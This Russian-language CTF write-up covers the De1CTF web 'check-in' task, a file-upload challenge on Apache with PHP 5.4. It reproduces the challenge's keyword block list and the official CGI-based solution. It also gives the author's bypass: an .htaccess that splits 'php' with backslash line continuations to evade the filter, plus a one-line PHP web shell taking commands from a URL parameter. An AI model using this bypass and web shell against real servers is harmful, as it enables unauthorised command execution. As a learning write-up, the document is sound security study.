Очередные фишечки из прошедшего CTF.



Чуть чуть успел поиграть в De1CTF и решить входной таск на вебчик. Но и в проходном задании нашлось кое что интересное.



Окружение:



Server: Apache/2.4.6 (CentOS) PHP/5.4.16

X-Powered-By: PHP/5.4.16



Примерное описание задачи:



* Есть загрузка файлов на серве

* Расширения PHP файлов запрещены (filename error)

* Можно загружать любые другие расширения если тип содержимого файла image/png (если нет, то filetype error)

* Файлы не могут содержать следующих слов perl|pyth|ph|auto|curl|base|>|rm|ruby|openssl|war|lua|msf|xter|telnet

* При отправке файлов все они кладутся в директорию /uploads/[md5sum(От IP клиента)]/



Само собой сразу приходит на ум работа с .htaccess файлом.

Но вот дальше начинались проблемы.



Нельзя было применить AddType application/x-httpd-php .foo для смены расширения файлов, подверженных интерпритации mod_php, т.к. у нас не пропускается подстрока ph.

RewriteRules тут не поможет.

Можно было вырулить на SetHandler server-status и увидеть чужие решения, но нам с этим не повезло и пр.



И вот в чем все любопытство.



По официальной версии и по тому, что я с коллегой пытались исполнить, надо было использовать CGI. И на локальном стенде это работало. В случае с сервером из задачи, это просто возвращало статус 500 (Ошибка скрипта).



И так, официальная версия



.htaccess

---------------

Options +ExecCGI

AddHandler cgi-script .sh

---------------



check.sh

---------------

#!/bin/bash

echo "Content-Type: text/plain"

echo ""

ls -lah /

exit 0

---------------



Наша версия :D



.htaccess

---------------

AddHandler application/x-httpd-p\

hp .foo



p\

hp_value short_open_tag 1

---------------



check.foo

---------------

<? passthru($_GET["cmd"]);

---------------



.htaccess поддерживает разбивку строк через экранирование переноса при помощи \



Более детально во врайтапе:



https://github.com/empty-jack/ctf-writeups/blob/master/De1CTF/web-check-in.md